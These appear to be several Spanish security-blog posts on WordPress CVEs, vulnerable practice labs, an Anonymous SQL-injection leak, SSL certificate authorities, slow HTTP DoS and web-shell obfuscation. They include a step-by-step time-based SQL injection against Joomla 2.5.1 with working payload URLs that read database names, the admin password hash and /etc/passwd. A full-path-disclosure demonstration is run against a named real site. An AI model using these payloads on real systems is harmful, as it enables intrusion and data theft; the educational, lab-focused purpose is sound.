Entre las correcciones destacan las siguientes (las hay para todos los gustos y colores...):
Bloqueo de ataques por manipulación de peticiones que podrían permitir a un atacante conseguir acceso al sitio. Se ha detectado un gran ataque masivo a blogs para intentar obtener, mediante fuerza bruta, la contraseña del usuario admin, tal y como se informa en esta noticia de TechCrunch. Todavía no se han incluido los detalles de esta vulnerabilidad en su CVE reservado CVE-2013-2199
Evitar la posibilidad de los usuarios con perfil de contribución eleven privilegios y puedan publicar por su cuenta y sin moderación, así como evitar la posibilidad de reasignar la autoría de otros posts ajenos. CVE-2013-2200
Actualización de la librería externa SWFUpload que corrige un Cross-Site Scripting. Más información acerca de esta nueva versión de la librería en este enlace, que además ahora es mantenida por el propio equipo de Wordress y se puede descargar desde este repositorio de Github.CVE-2013-2205
Prevención de ataques de denegación de servicio contra blogs que contengan posts protegidos con contraseña. La vulnerabilidad reside en el fichero wp-includes/class-phpass.php de Wordpress 3.5.1, provocando una posible denegación de servicio en el servidor debido a un alto consumo de CPU al modificar el valor de la cookie wp-postpass. CVE-2013-2173
Actualización de la librería externa TinyMCE debido a una vulnerabilidad que permite la suplantación de contenido mediante el applet Flash en el plugin TinyMCE Media. De momento no sabemos mucho más, y el CVE-2013-2204 sigue reservado.
Cross-Site Scripting (CVE-2013-2201) tanto al editar ficheros multimedia como al instalar o actualizar plugins y temas.
Vulnerabilidad al mostrar la ruta completa (Path Disclosure) de ficheros cuando su subida falla. CVE-2013-2203
Estos ejercicios repasan las vulnerabilidades más comunes que nos podremos encontrar a la hora de analizar y realizar pruebas sobre aplicaciones web. El enfoque de estas prácticas no es sólo el de realizar las pruebas web como tal, si no todo lo relacionado a procesos de test de intrusión, como el reconocimiento de la arquitectura, sistema, servicios, etc.
Se proponen varios ejemplos para cada una de las siguientes tipos de vulnerabilidades:
Pruebas básicas de reconocimiento (fingerprinting)
Cross-Site Scripting
Inclusión de ficheros
Ataques LDAP
Inyecciones SQL
Inyección de código
Subida de ficheros
Pruebas de ruta transversal
Inyección de comandos
Ataques XML
Esta vez no se trata de ejercicios online, si no que el creador del proyecto ha preparado una pequeña imagen .iso, en la cual, bajo el sistema operativo Debian, se ha creado un entorno en el que se incluyen diferentes scripts vulnerables:
Descarga de imagen .iso con entorno vulnerable
Con la imagen, en la sección de descargas de estos ejercicios se encuentra un documento en .PDF web_for_pentester.pdf en el que se explican todas y cada una de las pruebas con sus correspondientes ejemplos, aunque obviamente, recomendamos consultar este documento después de, por lo menos, haberle dedicado un buen rato a resolverlos por cuenta propia.
Índice del documento PDF que acompaña al ejercicio
Dicho informe recoge el análisis realizado desde las fases iniciales del test de intrusión (reconocimiento del servicio web, búsqueda de recursos interesantes, puntos de entrada a la aplicación, análisis de respuestas del servidor web, etc), así como conceptos básicos y requeridos para completar las pruebas posteriores.
Documentación de Web For Pentesters, incluyendo ejemplos y how-to's
Ejemplo 1 de Cross-Site Scripting
Ejemplo 1 de File Inclusion
Si bien el nivel de dificultad se ha determinado como para principiantes, es un buen repaso, además de completo, para cualquier interesado en este campo de la seguridad informática sobre aplicaciones web.
Un año más, Anonymous se hace un hueco en los Goya. Esta vez no han sido protagonistas por organizar una manifestación cerca de la alfombra roja, o por saltar al escenario al más puro estilo Jimmy Jump.
Directamente y como es habitual, bajo acciones de lo que han llamado #OpGoya, han explotado supuestamente una inyección SQL en el portal encargado de presentar las candidaturas de la vigésimo-séptima edición de los Premios Goya de la Academia de las Artes y las Ciencias: premiosgoya.academiadecine.com
En este portal, se pueden consultar noticias sobre los premios, candidaturas, finalistas, información sobre la gala, etc.
Pues bien, a eso de las 9 de la noche, desde la cuenta de twitter @Lulz_Es se anunciaba el volcado de una base de datos "peliculas" perteneciente al dominio de la academia, con un total de 78 tablas en su interior, con nombres tan descriptivos como ACADEMICOS, DISTRIBUIDORAS, USUARIOS, VOTACIONES...
Esta vez, los lulzers se decantaron por el servicio de intercambio de información anonpaste.me, en vez de pastebin como suele ser habitual. Como decíamos, se volcaron algunas de las tablas más características de la base de datos, con información de distribuidoras, actores, productoras, profesionales del medio...incluyendo correos electrónicos, números de teléfono,...
Puede que las prisas en lanzar este sitio informativo para la gala ocasionaron un descuido al no validar correctamente los parámetros de los ficheros php que utiliza la página. Lo que está claro es que si bien la información dentro de premiosgoya.academiadecine.com podría resultar de poca importancia, el compartir la base de datos con otros servicios hace que el impacto de la vulnerabilidad sea mayor. La página de academiadecine.com podría ser la más segura del mundo, pero por culpa de este portal y por no crear otra base de datos únicamente para la información de los premios, y limitar los permisos del usuario a dicha base de datos, se ha conseguido acceder a información sensible de usuarios que seguro que no quieren ver sus WhatsApp o buzones de correo ardiendo en llamas.
Una simple búsqueda en Google con el sitio, seguido del motor de base de datos utilizado por la página, muestra una pista de la grave vulnerabilidad aprovechada para la obtención de esta información.
El grupo formativo eLearnSecurity (liderado por Armando Romeo), ha creado un portal en el cual se pretende recopilar todo tipo de aplicaciones web vulnerables para poder realizar pruebas sobre ellas. Dentro del equipo detrás de este proyecto se encuentra el desarrollador Giuseppe Trotta y el responsable técnico Domenico Quaranta.
En ella se pueden realizar básicamente dos tareas: subir aplicaciones vulnerables y probarlas de forma online.
No solamente se limitan a recopilar aplicaciones típicas como pueden ser DVWA, si no que también se permite la subida de retos de wargames o CTFs, scripts personalizados vulnerables intencionadamente, determinadas versiones de gestores de contenidos de las que se han reportado vulnerabilidades web, etc.
Además de recopilar, para cada uno de los retos subidos para la comunidad, se proporciona un entorno completo con PHP y MySQL para su despliegue y poder así probar directamente todos los ataques dentro del propio portal. Cada una de las subidas puede ser etiquetada, y se incluye una pequeña descripción acerca de las pruebas a realizar o el objetivo de dicha aplicación.
El proyecto se encuentra todavía en fase beta, contando de momento con unas 13 aplicaciones y scripts subidos al sistema, pero estamos seguros de que poco a poco irá creciendo en número de contribuciones y abarcar mucho más entornos con otras técnicas de explotación de vulnerabilidades en aplicaciones web.
Ayer, un post en el blog principal de OWASP anunciaba una nueva publicación del Broken Web Applications Project.
Este proyecto, que comenzó a mantenerse dentro de OWASP desde el 31 de Enero de 2010, consiste en la creación de una máquina virtual en la que se ejecutan un conjunto de aplicaciones que contienen vulnerabilidades, con el objetivo de practicar técnicas conocidas y relacionadas con la seguridad en aplicaciones web, tanto de forma manual, como para sacar el máximo partido a herramientas automáticas tanto de auditoría web como de código fuente. También nos permite ponernos "en el otro lado", defensa, para conocer el compartamiento de dichas aplicaciones en caso de que sean explotadas, probar firewalls de aplicaciones web (WAFs) o piezas de código fuente.
Con esta recopilación nos ahorramos el tener que preparar un entorno o crear pruebas de conceptos o servicios vulnerables, así como evitar realizar ataques sobre entornos reales totalmente ajenos...
Dentro del conjunto de aplicaciones que se incluyen, se dividen en tres tipologías diferentes:
Aplicaciones de entrenamiento
Dentro de estas aplicaciones se incluyen aquellas que guían al usuario en la explotación satisfactoria de vulnerabilidades. Algunas de sobra conocidas por todos, se incluyen las siguientes:
OWASP WebGoat version 5.4+SVN (Java)
OWASP WebGoat.NET version 2012-07-05+GIT
OWASP ESAPI Java SwingSet Interactive version 1.0.1+SVN
Mutillidae version 2.2.3 (PHP)
Damn Vulnerable Web Application version 1.8+SVN (PHP)
Ghost (PHP)
Aplicaciones vulnerables "realistas"
Son como las de entrenamiento, pero en este caso las aplicaciones son más complejas y su comportamiento y funcionalidad pretende ser mucho más realista:
OWASP Vicnum version 1.5 (PHP/Perl)
Peruggia version 1.2 (PHP)
Google Gruyere version 2010-07-15 (Python)
Hackxor version 2011-04-06 (Java JSP)
WackoPicko version 2011-07-12+GIT (PHP)
BodgeIt version 1.3+SVN (Java JSP)
Versiones anticuadas de aplicaciones reales
Aquí se incluyen proyectos de aplicaciones web completamente reales y de uso extendido, cuyas versiones o ramas tuvieron que requerir actualizaciones a causa de contener vulnerabilidades conocidas. Lo curioso de todo, es que, si bien pueden ya no estar mantenidas por los desarrolladores del proyecto, estas se pueden encontrar todavía.
WordPress 2.0.0 (PHP, released December 31, 2005) que incluye los plugins:
myGallery version 1.2
Spreadsheet for WordPress version 0.6
OrangeHRM version 2.4.2 (PHP, released May 7, 2009)
GetBoo version 1.04 (PHP, released April 7, 2008)
gtd-php version 0.7 (PHP, released September 30, 2006)
Yazd version 1.0 (Java, released February 20, 2002)
WebCalendar version 1.03 (PHP, released April 11, 2006)
Gallery2 version 2.1 (PHP, released March 23, 2006)
TikiWiki version 1.9.5 (PHP, released September 5, 2006)
Joomla version 1.5.15 (PHP, released November 4, 2009)
AWStats version 6.4 (build 1.814, Perl, released February 25,2005)
Aplicaciones creadas para probar herramientas
OWASP ZAP-WAVE version 0.2+SVN (Java JSP) - Prueba de OWASP ZAProxy
WAVSEP version 1.2 (Java JSP) - Aplicación utilizada para el benchmark de scanners de seguridad
WIVET version 3+SVN (Java JSP)
Páginas de pruebas o pequeñas aplicaciones
OWASP AppSensor Demo Application (Java)
Si bien en otras ocasiones ya hemos mencionado (por ejemplo, aquí y aquí) diferentes programas concretos o webs vulnerables a propósito sobre las que realizar pruebas, con este nuevo proyecto dispondremos de más variedad y como no, de un entorno mucho más controlado para que, como hemos mencionado antes, podamos actuar de una forma más defensiva.
Web Application Hacker's Handbook en su segunda edición es posiblemente uno de los libros más completos sobre seguridad web que he leído. Está escrito por Dafydd Stuttard, autor de la suite de auditoría Burp proxy junto con Marcus Pinto ambos fundadores de la compañía de formación MDSec.
Pasaron 4 años desde que se publicó la primera edición de esta magnifica biblia hasta que en Septiembre de 2011 se publicase la segunda.
El manuscrito de casi 900 páginas (escrito en inglés) está dividido en 21 capítulos. Empieza con los términos y conceptos más básicos de la tecnología web: como se compone una URL, las cabeceras HTTP, los códigos de error, y poco a poco va añadiendo complejidad a los capítulos hasta que empieza a describir como detectar distintos tipos de vulnerabilidades, tanto de servidor como en cliente (activex, local sql injection, html5 storage), incluso dedica un capitulo a la revisión de código fuente. Finalmente termina con aspectos puramente metodológicos: toolkit de auditoría y checklist de análisis.
Junto al libro (31.50$ en Amazon), se puede adquirir horas de laboratorio en la plataforma online de Mdsec con más de 300 ejercicios a 7$ la hora. Lo que la combinación de ambas piezas convierte el material en un curso perfecto para todos los autodidactas.
He de reconocer que los primeros capítulos los he pasado rápido, ya que son demasiado introductorios para alguien que ya ha trabajado en esto, pero me ha sorprendido como a mitad de libro me iba deteniendo cada vez más para leer con detalle algunos puntos que no conocía.
Como proyecto de final de master de seguridad, se planteó analizar una de las vulnerabilidadestop 10 de
OWASP, en concreto la vulnerabilidad es conocida como, Falla de Restricción de Acceso a URL.
Cómo resultado de este análisis se ha desarrollado una herramienta con el objetivo servir de
ayuda en auditorias de caja blanca para detectar esta vulnerabilidad.
Debido a la dificultad de poder detectar de manera automática cuando esta previsto restringir
el acceso y cómo saber si este ha sido restringido correctamente, unas veces se verá un
mensaje de error, otras un mensajito más amigable dentro del interfaz de la propia aplicación
web y otras veces, las que menos, una pantalla en blanco. Se ha optado por otra solución a
nuestro entender más lógica. La herramienta muestra para cada url los datos estadísticos
más básicos al emplear cada perfil: número de letras, con y sin blancos, y número de líneas. Y
permite para cada url acceder a una ventana comparativa en la que contrastar las diferencias a
mayor profundidad entre parejas de perfiles.
La herramienta, DoRodri, ha sido desarrollada en .Net y se encuentra bastante estable aunque
seguramente sujeta a algunos bugs.
Para su funcionamiento es preciso obtener previamente:
Un fichero con las urls a analizar: se puede obtener de programas como el OWASP ZAP con la opción “exportar todas las urls a aun fichero”.
Un listado de cookies de identificadores de sesión validos para los distintos perfiles a
analizar.
Una vez obtenido lo anterior es hora de pasárselo al programa para que analice la web.
El programa de manera automática, tras cargar el fichero de urls, genera un árbol con la
estructura de la web a analizar, obtiene las capturas de pantalla de cada perfil y muestra la
opción de descargar los códigos fuente para estimar diferencias a nivel de código html.
Una vez obtenida la información por parte del programa empieza el trabajo humano, hay
que comparar para cada url, o las que el analista estime oportuno, si el control se realiza de manera correcta.
Al pulsar sobre cada miniatura se muestra una ventana comparativa en la que muestra la
respuesta visual que arroja la aplicación web para cada perfil. Adicionalmente en la parte
inferior se aprecian las estadísticas sobre el número de líneas y caracteres, y en la superior
se realiza una comparación a nivel de código indicando el grado de diferencia que hay entre
los dos códigos html mediante el cálculo del factor de distancia de Damerau–Levenshtein.
Entendiendose como tal al número mínimo de operaciones requeridas para transformar una
cadena de caracteres en otra. Se entiende por operación, bien una inserción, eliminación,
sustitución o transposición de dos caracteres.
Esta información estadística permite para perfiles con privilegios cercanos, en los cuales la
interfaz es muy similar, obtener datos bajando al nivel de código, sobre el grado de similitud real que hay entre ambos.
Para obtener la herramienta y más información se puede acceder a la página del proyecto:
En esta entrada voy a tratar de explicar cómo hacer un exploit paso a paso para Joomla 2.5.0-2.5.1 o 1.7.0-1.7.5, de la forma más sencilla posible y explicando conceptos básicos de inyecciones de SQL y alguno un poco más avanzado, ya que en este caso se hace el ataque basado en tiempo.
Para este ejercicio lo ideal es que montéis un Joomla versión 2.5.1 por defecto en vuestro sistema y podáis acceder localmente para ir haciendo las pruebas.
Hasta la fecha no hay exploit para este fallo del 29 de febrero, aunque la vulnerabilidad se conoce gracias a la nota de seguridad de Colin Wong.
Lo que me ha dejado completamente K.O., es como una vulnerabilidad tan gorda y estúpida, se ha podido colar en el código. Me ha sorprendido muchísimo que no haya sido descubierta antes, coño, si es que hasta el Acunetix, la detecta.
El primer paso es buscar donde está el bug comparando el código de la versión vulnerable: 2.5.0 ó 2.5.1, con el de la versión que lo soluciona: 2.5.2.
Se descargan ambos ficheros y se descomprimen para ver que líneas han sido modificadas. Afortunadamente no hay demasiadas y es muy sencillo detectar las líneas que están afectadas por el sql injection con un simple comando "diff" (línea 8)
¡Vaya! En las dos últimas líneas del diff se ve que la variable "$current" en la nueva versión es llamada usando $db->quote() y no directamente. Sospechoso ;).
Lo siguiente es tratar de encontrar en que momento este código es ejecutado para averiguar donde se ha de inyectar el código SQL y hasta dónde se puede llegar.
Toca revisar el fichero dónde está esa línea: j-2.5.1/plugins/system/redirect/redirect.php
Básicamente permite hacer redirecciones en caso de que solicite una página web que no existe. Gestionando los errores y evitando que un visitante llegue a una página muerta de la web.
Ahora a leer el código del fichero más en detalle y lentamente. Por lo menos la parte más crítica:
Al margen del primer comentario (hay que ver ahora quien es el idiota). En el código se aprecia que la sentencia SQL vulnerable (línea 24) es llamada cuando no existe una redirección publicada y permanente creada para esa página (el if de la línea 18). Es decir, si por ejemplo se solicita la URL: http://localhost/joomla/index.php/AAAAA y el administrador del CMS no ha creado un redirect para esta página, mostrará un error 404 estándar de Joomla.
El siguiente paso que da el aplicativo (de la línea 26 a la 45) es añadir la URL a la base de datos para que el administrador pueda ver que páginas se han solicitado y no existen, pero esta parte es indistinta, ya que la inyección se ha generado antes y por lo tanto es irrelevante.
¿Entonces cómo se explota? Pues tan solo hay que llamar una página del tipo: http://localhost/joomla/index.php/AAAAAA' union select ... y el código que se quiera insertar. Lo sé, parece imposible que un producto tan popular y con esta madurez aún tenga un sql injection TAN estúpido.
"El problema" para hacer uso de la vulnerabilidad es que el resultado de la inyección no es mostrado por pantalla, ni errores, ni resultados positivos/negativos y conseguir algo útil es un poco más complejo, ya que la sentencia vulnerable es usada internamente por el aplicativo y no para generar la página resultante.
Solo queda una alternativa y es hacer inyecciones basadas en tiempo. Es decir, si al solicitar la página no existente tarda 1 segundo en responder normalmente, provocar que tarde 10 según el resultado de la inyección.
El ejemplo más sencillo para detectar esta vulnerabilidad es llamar a la página de la siguiente forma: http://localhost/joomla/index.php/AAAAAA' union select sleep(10) union select '1 y observaríamos que tarda 10 segundos en devolver la página ya que la sentencia SQL vulnerable se quedará 10 segundos esperando e impidiendo la ejecución normal que devolvería la página normalmente en 1 ó 2 segundos.
La ejecución en base de datos y completando la sentencia que se obtiene de la línea 24 con los parámetros que se han pasado, queda de la siguiente forma:
select id from tabla where old_url='http://localhost/joomla/index.php/AAAAAA' union select sleep(15) union select '1'
Ahora no queda más remedio que estudiar funciones de MySQL y ver cómo usar este comportamiento, para extraer datos. Las más importantes:
database(): devuelve el nombre de la base de datos: select database()
sleep(): ejecuta una demora de tiempo: select sleep(10)
length(): devuelve la longitud de una cadena: select length(database())
ascii(): devuelve el valor ascii de una cadena: select ascii("A")
substring() ó mid(): recorta una cadena de caracteres: select mid(database(),1,1)
load_file(): devuelve el contenido de un fichero: select load_file("/etc/hosts")
ord(): devuelve el código del valor si es multibyte o su ascii: select ord("2")
if(): permite devolver valores en base a los resultados de otras consultas: select if(database()="hola","yes","no") en este caso "no", ya que se llama "joomla" y no "hola"
Mezclando estas funciones se puede llegar al objetivo final. Por ejemplo, en mi base de datos que se llama "joomla":
select substring(database(),1,1) devuelve el primer carácter de "joomla", es decir, la "j".
select ascii(substring(database(),1,1)) devuelve el primer carácter del nombre "joomla", la "j" y luego lo convierte a su decimal ascii: 106
select ascii(substring(database(),2,1)) devuelve el segundo carácter de "joomla", la "o" y luego lo convierte a su decimal ascii: 111
select if(database()="joomla","si","no") comprueba si el resultado de database() es "joomla", en caso de que correcto devuelve "si", en caso de que no sea así devolverá "no".
select if(ascii(substring(database(),2,1))=106,sleep(10),null) comprueba si el decimal ascii del primer carácter de database(), "106", es igual a 106, si es así, ejecuta un sleep de 10 segundos y si no, no devuelve nada.
Lo mejor, verlo en funcionamiento directamente sobre MySQL
Pues después de esto solo queda automatizar todo el proceso del ejemplo 5 para ir recorriendo cadenas de caracteres con substring() y comparar con la tabla ascii, calculando cuánto tarda la web en responder, 10 segundos o tan solo 1 ó 2.
Con estas peticiones se averigua el primer carácter de "database()":
select if(ascii(substring(database(),1,1))=105,sleep(10),null) select if(ascii(substring(database(),1,1))=106,sleep(10),null) <-- en esta se ejecutará el sleep, ya que el ascii de "j" es 106 y la condición se cumple.
Una vez se detecta el retardo de 10 segundos, se pasa al siguiente carácter, modificando el substring:
Anidando un par de bucles y calculando el tiempo se puede sacar el resultado de cualquier consulta sql. Por ejemplo con: select table_name from information_schema.tables where table_schema = "joomla" and table_name like "%_users" se obtiene el nombre de la tabla donde se almacenan los usuarios y con: select password from zzzz_users limit 1, el hash de la contraseña del usuario administrador.
Si el usuario que se conecta a la base de datos tiene privilegios suficientes, también podría ejecutar load_file(), cargando un fichero del sistema, que se yo, por ejemplo el /etc/passwd.
El exploit tan solo ha de automatizar este proceso, incluso puede que alguna herramienta ya desarrollada se pueda configurar para este propósito. El funcionamiento incluyendo peticiones tendría este flujo:
Se obtiene la fecha del sistema
Se hace petición HTTP GET con la comprobación, por ejemplo: http://localhost/joomla/index.php/AAAAAA' union select if(ascii(substring(database(),1,1))=1,sleep(10),null) union select '1
Se vuelve a obtener la fecha del sistema
Si la diferencia de tiempo entre el punto 1 y el 3 es de 10 segundos, es que la condición del 'if' se cumple, por lo que se conoce el valor ascii correcto.
Pues eso es todo, ya solo queda optimizar y tirar línas de código que hagan el trabajo sucio.
La optimización pasa por encontrar el menor tiempo posible de espera, reduciendo los 10 segundos que se han usado durante todo el artículo a uno inferior que no genere falsas alarmas. Otra mejora consiste en no hacer tantas peticiones web, evitando recorrer toda la tabla ascii buscando el carácter válido. Para determinadas sentencias, como database(), tan solo consultar desde el decimal 32 al 90.
La última, un poco más compleja consiste en hacer una consulta con ord() y AND para averiguar los bits que compone cada byte. Con tan solo 8 peticiones se averigua el código ascii, pero si calculamos que la mitad de las peticiones tendrán como resultado un sleep(), puede tardar más que hacer hasta las 60 peticiones recorriendo la propia tabla, en la que solo un requiere un único sleep().
¡Fin! Espero que este ejercicio le haya servido a alguien. Este es el código que a mí me ha quedado:
Para los más vagos, un vídeo que espero sea explicativo.
Por todos es sabido que la seguridad en las transacciones por Internet descansa en el protocolo SSL. Este protocolo basa su seguridad en un esquema PKI, en el que unas cuantas organizaciones están acreditadas para emitir certificados digitales que son la base del protocolo SSL.
En el año 2011, este esquema ha sido golpeado en varias ocasiones a raíz de los escándalos 'Comodo' y 'Diginotar', sendas CAs que fueron comprometidas y que emitieron certificados SSL fraudulentos que pusieron en entredicho la credibilidad de SSL.
Dado que, tal y como está diseñado el protocolo SSL, cualquier entidad reconocida que haya sido aprobada por Microsoft (Para Internet Explorer y Chrome en Windows) y Mozilla (Firefox) puede emitir un certificado digital que acredite la validez de un sitio web, es un ejercicio interesante saber quienes son esas entidades que actúan como garantes de la seguridad en Internet
En total he localizado 130 entidades de 45 países diferentes. Muchas de estas organizaciones tienen a su vez múltiples CAs reconocidas, pero el objeto de este estudio es conocer los nombres de las organizaciones y su procedencia.
Algunos datos curiosos:
Estados Unidos lidera claramente el número de organizaciones acreditadas (26)
España es el segundo país con más CAs acreditadas por Microsoft (11)
Tunez es el único país del magreb que tiene presencia acreditada (Turquía es el otro país musulmán acreditado)
China tiene 2 organizaciones capaces de emitir certificados SSL y dos más adscritas a Hong Kong y Macao (provincias con régimen especial)
Hay dos entidades acreditadas con sede en los paraísos fiscales de Bermudas y Singapur
Existen múltiples CAs acreditadas que están ligadas a entidades gubernamentales
Conclusiónes:
Estas 130 organizaciones son las que tienen potestad para certificar que www.google.com (o cualquier otro dominio bajo SSL) es quien dice ser.
Un compromiso en cualquiera de estas organizaciones podría derivar en otro 'caso Comodo / Diginotar'
Si alguna de estas organizaciones operase de forma fraudulenta, podría actuar de forma impune colaborando en el seguimiento y monitorización gubernamental de ciudadanos
Metodología seguida para el estudio
Este estudio está basado en la información extraída del campo 'issuer' de los certificados digitales. En algunos casos esta información no era del todo precisa (ausencia del campo C=(código país)) y se ha tenido que averiguar por otros medios. Así mismo se ha intentado agrupar las CAs de una misma organización, pero en algunos casos la información del campo issuer puede no ser 100% fiable ya que algunas organizaciones definen este campo de una forma poco legible. Por ello cabe asignar cierto margen de error a este estudio.
El primer paso realizar el estudio es 'parsear' el fichero authroot.stl donde se encuentra la información de las CAs acreditadas por microsoft, y descargar los certificados de dichas CAs.
Para ello ejecutamos este comando (plataforma Linux):
for i in `openssl asn1parse -inform der < authroot.stl | perl -ne '$a[0]=$a[1];$a[1]=$a[2];$a[2]=$a[3];$a[3]=$_;if (/1.3.6.1.4.1.311.10.11.29/) {$a[0]=~/.+:([0-9A-F]+)/; print $1 . "\n"}'`;
do wget http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/$i.crt; done
Lo que descargará todos los certificados digitales.
Posteriormente ejecutamos este script en Perl:
my @certs ;
@certs = `ls -1 *.crt` ;
foreach(@certs) {
my $issuer =`openssl x509 -noout -issuer -inform DER -in $_` ;
print "$issuer\n";
}
Que extrae el campo 'issuer' de los certificados digitales.
Las conexiones a Internet avanzan a una velocidad inusitada para poder dar un mejor servicio a los usuarios. Los ISPs, cada vez más, ofrecen anchos de banda descomunales a aquellos clientes que alojan sus páginas web. Lejos y atrás quedaron los tiempos en los que conseguir acceso (ya sea de forma lícita… o por las bravas) a una máquina con un gran ancho de banda, permitía tener el bastón de mando para "DoS-ear" servidores con conexiones a Internet más modestas.
Por ello, actualmente, si no es mediante una botnet potente o una convocatoria Anonymous, hay que buscar alternativas a efectuar un DoS, que nada tengan que ver con colapsar las capacidades de ancho de banda del servidor. Así pues, tres de los últimos tipos de ataques DoS de servidores web, se basan precisamente en el envío de tráfico "muy lentamente", colapsando el número de sesiones máximas disponibles en el servidor.
Por resumir un poco el funcionamiento de los ataques DoS anteriores:
En Slowloris, las peticiones al servidor se realizan enviando las cabeceras de la petición muy lentamente, no terminando nunca de ser enviadas. De esta manera, mientras el servidor no recibe todas las cabeceras, no considera como sesión web establecida, y no sabe si ha superado el número de conexiones máximas configuradas (por ejemplo, en Apache mediante la variable maxclients).
En Slow HTTP POST, se envían al servidor las peticiones POST con todas las cabeceras, incluyendo "Content-Length" que indica el tamaño del POST DATA a enviar. Así, el servidor queda esperando a que el cliente envíe tantos bytes, como indique la cabecera "Content-Length". El ataque en sí se basa en que, los datos del POST, los irá enviando muy despacio el cliente hacia el servidor, consumiendo una sesión abierta por cada POST, así como los recursos que reserva el servidor para recibir los datos que envía el cliente.
En el caso del nuevo ataque DoS, Slow Read, el procedimiento consiste en enviar una petición lícita a un servidor, sin embargo, el éxito radica en ralentizar lo máximo posible la recepción de los datos por parte del servidor hacia el cliente. Al ser TCP el protocolo web, es decir, orientado a la conexión y con control de errores, hasta que el servidor no recibe los correspondientes paquetes con Flag ACK indicando al servidor que prosiga enviando el resto de los datos, no se dará por finalizada la sesión, y por ende, los recursos no serán liberados en el servidor.
Mitigar este tipo de ataques resulta muy complicado, puesto que no se basan en patrones detectables por mecanismos como IPS o WAF debido al tipo de la petición. De hecho, el WAF libre mod_security, implementa mecanismos que permiten mitigar este y otros tipos de Denegaciones de Servicio, en base a limitar el número de conexiones por IP origen que se encuentren en estado SERVER_BUSY_WRITE, mediante la configuración de la directiva SecWriteStateLimit. Otra forma de mitigación de este tipo de ataques es mediante la inclusión de límites de tiempo existentes por cada conexión, a la hora de recibir cabeceras, así como en las transmisiones de datos en el envío o de recepción. Sin embargo, estas medidas son peligrosas puesto que cuando las conexiones se efectúan tras un proxy de forma lícita por muchos clientes, se pueden dar situaciones que provoquen un falso positivo denegando un montón de conexiones.
Para poder hacer pruebas, evidentemente con fines académicos y en ningún momento con intenciones destructivas, se ha publicado de forma libre la herramienta Slowhttptest, que implementa los tres tipos de ataque descritos en este artículo.
Wordpress es uno de los CMS más utilizados. En un principio se usaba mucho en sitios personales o blogs, actualmente lo usan como "framework" para desarrollar sitios web no tan personales y en algunos casos lo usan para aplicaciones web. Si bien es un CMS muy utilizado, no todos los desarrolladores se encargan de darle la seguridad que se necesita y, por otro lado, las personas que no son desarrolladores o programadores simplemente instalan éste CMS y no se preocupan de nada más que instalarle plugins, themes y escribir en él, es por este motivo que el Staff de Wordpress debería preocuparse por la seguridad de todos sus usuarios.
En este artículo quiero revivir un tema que escribí el año 2009 en mi blog personal (Parte I, Parte II y Parte III) sobre una falla de seguridad que afecta a muchos plugins y themes, incluyendo los que se instalan por defecto como los themes classic y default o los plugins akismet y hello_dolly.
La vulnerabilidad se produce por un bug presente en muchos themes y plugins que, al llamar a una función del CMS, no validan que exista, provocando un warning o error y como consecuencia, un bonito Full Path Disclosure. El mensaje que nos divulga la ruta de la aplicación corresponde a un mensaje de PHP y se produce al no utilizar la validación function_exists() antes de llamarla.
Para poder explotar la vulnerabilidad debemos llamar directamente a los archivos del theme o plugins. Si pensamos en los que vienen instalado por defecto, la ruta hacia ellos siempre será la misma: wp-content/plugins/akismet.php, wp-content/themes/classic/footer.php, wp-content/themes/default/header.php, etc. Por ejemplo, usamos Google para buscar un sitio al azar que use wordpress como plataforma. buscamos "site:cl inurl:wp-content" y llegamos al sitio "http://www.imp.cl", le agregamos por ejemplo "wp-content/plugins/akismet/akismet.php" y obtenemos el full path disclosure:
La vulnerabilidad se puede "ocultar" desactivando los errores en el archivo de configuración de php, pero el bug sigue existiendo.
El tema a discusión no es de quien es el problema, si del administrador del servidor que no tiene desactivadas esas opciones o de los desarrolladores, a lo que me quiero enfocar es en la despreocupación por parte de los encargados de seguridad de Wordpress que, según ellos, no es problema de wordpress ni de las políticas de seguridad, sino de la persona encargada del server. Pero entonces, una persona que no tiene los conocimientos necesarios para administrar o configurar un servidor, que simplemente contrató un hosting y se leyó el howto para instalar wordpress, que hace?
Yo pienso que la gente de Wordpress tiene la capacidad y deben responsabilizarse por lo lo que están ofreciendo, en las políticas de seguridad debería existir la norma de que los archivos no se puedan llamar directamente, como lo hacen otros CMS.
Vamos a tomar como ejemplo 3 themes y 3 plugins aleatorios que podemos encontrar en el sitio oficial de Wordpress, veremos si validan el acceso directo a los archivos o al menos si validan que las funciones existan antes de ser llamadas. Lo que revisaremos será lo siguiente:
En los archivos wp-super-cache/wp-cache.php y wptouch/wptouch.php respectivamente. De los plugins probados, sòlo WP DB Backup verifica que el archivo no está siendo llamado directamente:
if ( ! defined('ABSPATH') ) {
die('Please do not load this file directly.');
}
En los themes, TODOS son vulnerables. Ningún theme pasó la prueba, si vemos los códigos fuentes sólo el archivo "footer.php" tiene más de 4 llamadas a funciones que no son previamente validadas, como por ejemplo el archivo "coraline/footer.php", tiene:
1. get_sidebar( 'footer' );
2. wp_footer();
3. __();
4. esc_url();
5. esc_attr_e();
Encontrar sitios web que usen Wordpress como plataforma es demasiado sencillo, saber que plugins o themes tienen instalados o son usados en el sitio tambien, sólo tenemos que ver el código fuente del sitio.
De los plugins y themes que vienen por defecto en la instalación de Wordpress, sólo la última versión de Akismet viene parchado para que valide que los archivos no sean llamados directamente.
Explotar Full Path Disclosure para muchos es inofensivo, ya que lo único que nos entrega es la ruta donde se encuentra la aplicación dentro del servidor, pero lo que muchos ignoran, es que mientras más información tengamos sobre el servidor o sitio que estamos atacando, más fácil es lograr con éxito lo que planeamos. En muchas ocasiones cuando tenemos en la mira un sitio web o un servidor, terminamos tomando el control gracias a distintas vulnerabilidades encontradas en todos los sitios alojados en el mismo servidor. Si bien esta vulnerabilidad por si sola no es muy crítica, un sitio podría ser vulnerable a Local File Include, que nos permitiría ver códigos fuentes del sitio, otro a Directory Traversal, permitiendo navegar por los directorios en busca de información sensible y, por último, Full Path Disclosure nos sería útil para saber donde buscar esos archivos que nos pueden entregar la información que necesitamos.
Son ya muy conocidas las clásicas shells escritas en PHP, que comúnmente se utilizan para aprovechar vulnerabilidades del tipo Arbitrary File Upload.
También pueden ser utilizadas para administrar ciertos aspectos en caso de que sólamente tengamos acceso vía web a nuestro servidor.
Es muy común que cuando un atacante consigue subir una shell a un servidor para comprometerlo, ofusque el código fuente de la misma para hacerla más difícil de detectar. De hecho, muchas de estas shells que se han encontrado "in the wild", cuentan con algún tipo de ofuscación.
La herramienta HideMyPHPShell, que os presentamos hoy, permite ofuscar código PHP de cualquier tipo, de una manera rápida, y con varios métodos diferentes.
